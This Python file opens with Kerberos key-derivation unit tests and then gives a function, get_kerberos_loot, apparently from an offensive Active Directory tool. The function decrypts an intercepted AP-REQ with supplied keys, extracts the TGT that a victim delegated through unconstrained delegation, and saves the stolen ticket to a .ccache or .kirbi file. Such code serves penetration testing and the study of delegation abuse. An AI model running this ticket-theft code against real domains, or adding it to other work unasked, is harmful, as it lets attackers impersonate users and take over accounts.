def test_DES_string_to_key(self): # DES string-to-key string = b'password' salt = b'ATHENA.MIT.EDUraeburn' kb = h('cbc22fae235298e3') k = string_to_key(Enctype.DES_MD5, string, salt) self.assertEqual(k.contents, kb) # DES string-to-key string = b'potatoe' salt = b'WHITEHOUSE.GOVdanny' kb = h('df3d32a74fd92a01') k = string_to_key(Enctype.DES_MD5, string, salt) self.assertEqual(k.contents, kb)
def test_DES3_string_to_key(self): # DES3 string-to-key string = b'password' salt = b'ATHENA.MIT.EDUraeburn' kb = h('850BB51358548CD05E86768C313E3BFEF7511937DCF72C3E') k = string_to_key(Enctype.DES3, string, salt) self.assertEqual(k.contents, kb)
def test_AES128_string_to_key(self): # AES128 string-to-key string = 'password' salt = b'ATHENA.MIT.EDUraeburn' params = h('00000002') kb = h('C651BF29E2300AC27FA469D693BDDA13') k = string_to_key(Enctype.AES128, string, salt, params) self.assertEqual(k.contents, kb)
def test_AES256_string_to_key(self): # AES256 string-to-key string = 'X' * 64 salt = b'pass phrase equals block size' params = h('000004B0') kb = h( '89ADEE3608DB8BC71F1BFBFE459486B05618B70CBAE22092534E56C553BA4B34') k = string_to_key(Enctype.AES256, string, salt, params) self.assertEqual(k.contents, kb)
def test_AES256_prf(self): # AES256 prf kb = h('0D674DD0F9A6806525A4D92E828BD15A') k = string_to_key(Enctype.AES256, b'key2', b'key2') self.assertEqual(prf(k, b'\x02\x62'), kb)
def test_AES128_prf(self): # AES128 prf kb = h('77B39A37A868920F2A51F9DD150C5717') k = string_to_key(Enctype.AES128, b'key1', b'key1') self.assertEqual(prf(k, b'\x01\x61'), kb)
def test_RC4_string_to_key(self): # RC4 string-to-key string = 'foo' kb = h('AC8E657F83DF82BEEA5D43BDAF7800CC') k = string_to_key(Enctype.RC4, string, None) self.assertEqual(k.contents, kb)
def get_kerberos_loot(token, options): from pyasn1 import debug # debug.setLogger(debug.Debug('all')) # Do we have a Krb ticket? blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0] # print str(blob) data = blob['innerContextToken']['negTokenInit']['mechToken'] try: payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0] except PyAsn1Error: raise Exception('Error obtaining Kerberos data') # print payload # It is an AP_REQ decodedTGS = payload['apReq'] # print decodedTGS # Get ticket data cipherText = decodedTGS['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])] # Create decryption keys from specified Kerberos keys if options.hashes is not None: nthash = options.hashes.split(':')[1] else: nthash = '' aesKey = options.aeskey or '' allciphers = [ int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) ] # Store Kerberos keys # TODO: get the salt from preauth info (requires us to send AS_REQs to the DC) keys = {} if nthash != '': keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash) if aesKey != '': if len(aesKey) == 64: keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value )] = unhexlify(aesKey) else: keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value )] = unhexlify(aesKey) ekeys = {} for kt, key in keys.items(): ekeys[kt] = Key(kt, key) # Calculate Kerberos keys from specified password/salt if options.password and options.salt: for cipher in allciphers: if cipher == 23 and options.israwpassword: # RC4 calculation is done manually for raw passwords md4 = MD4.new() md4.update(options.password) ekeys[cipher] = Key(cipher, md4.digest()) else: # Do conversion magic for raw passwords if options.israwpassword: rawsecret = options.password.decode( 'utf-16-le', 'replace').encode('utf-8', 'replace') else: # If not raw, it was specified from the command line, assume it's not UTF-16 rawsecret = options.password ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt) LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents)) # Select the correct encryption key try: key = ekeys[decodedTGS['ticket']['enc-part']['etype']] # This raises a KeyError (pun intended) if our key is not found except KeyError: LOG.error( 'Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', decodedTGS['ticket']['enc-part']['etype'], ', '.join([str(enctype) for enctype in ekeys.keys()])) return None # Recover plaintext info from ticket try: plainText = newCipher.decrypt(key, 2, cipherText) except InvalidChecksum: LOG.error( 'Ciphertext integrity failed. Most likely the account password or AES key is incorrect' ) if options.salt: LOG.info( 'You specified a salt manually. Make sure it has the correct case.' ) return LOG.debug('Ticket decrypt OK') encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) # print encTicketPart flags = encTicketPart['flags'].asBinary() # print flags # for flag in TicketFlags: # if flags[flag.value] == '1': # print flag # print flags[TicketFlags.ok_as_delegate.value] cipherText = decodedTGS['authenticator']['cipher'] newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])] # Recover plaintext info from authenticator plainText = newCipher.decrypt(sessionKey, 11, cipherText) authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0] # print authenticator # The checksum may contain the delegated ticket cksum = authenticator['cksum'] if cksum['cksumtype'] != 32771: raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype']) # Checksum as in 4.1.1 [RFC4121] # Fields: # 0-3 Length of channel binding info (fixed at 16) # 4-19 channel binding info # 20-23 flags # 24-25 delegation option identifier # 26-27 length of deleg field # 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28) # n..last extensions flags = struct.unpack('<L', bytes(cksum['checksum'])[20:24])[0] # print flags if not flags & GSS_C_DELEG_FLAG: LOG.error('Delegate info not set, cannot extract ticket!') LOG.error( 'Make sure the account you use has unconstrained delegation rights' ) return dlen = struct.unpack('<H', bytes(cksum['checksum'])[26:28])[0] deldata = bytes(cksum['checksum'])[28:28 + dlen] creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0] # print creds subkey = Key(authenticator['subkey']['keytype'], bytes(authenticator['subkey']['keyvalue'])) newCipher = _enctype_table[int(creds['enc-part']['etype'])] plainText = newCipher.decrypt(sessionKey, 14, bytes(creds['enc-part']['cipher'])) # print plainText # Now we got the EncKrbCredPart enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0] for i, tinfo in enumerate(enc_part['ticket-info']): # This is what we are after :) username = '******'.join( [str(item) for item in tinfo['pname']['name-string']]) realm = str(tinfo['prealm']) fullname = '%s@%s' % (username, realm) sname = Principal( [str(item) for item in tinfo['sname']['name-string']]) LOG.info('Got ticket for %s [%s]', fullname, sname) ticket = creds['tickets'][i] filename = '%s_%s' % (fullname, sname) saveformat = options.format LOG.info('Saving ticket in %s.%s', filename, saveformat) ccache = KrbCredCCache() ccache.fromKrbCredTicket(ticket, tinfo) if saveformat == 'ccache': ccache.saveFile(filename + '.ccache') else: # Save as Kirbi oc = KRB_CRED() oc['tickets'].append(ticket) oc['enc-part']['etype'] = 0 new_enc_part = EncKrbCredPart() new_enc_part['ticket-info'].append(tinfo) oc['enc-part']['cipher'] = encoder.encode(new_enc_part) ocdata = encoder.encode(oc) with open(filename + '.kirbi', 'wb') as outfile: outfile.write(ocdata) data = { 'username': username, 'domain': realm, # We take it from the ccache since this already has a helper function to get # it in the right format. 'tgt': ccache.credentials[0].toTGT() } return data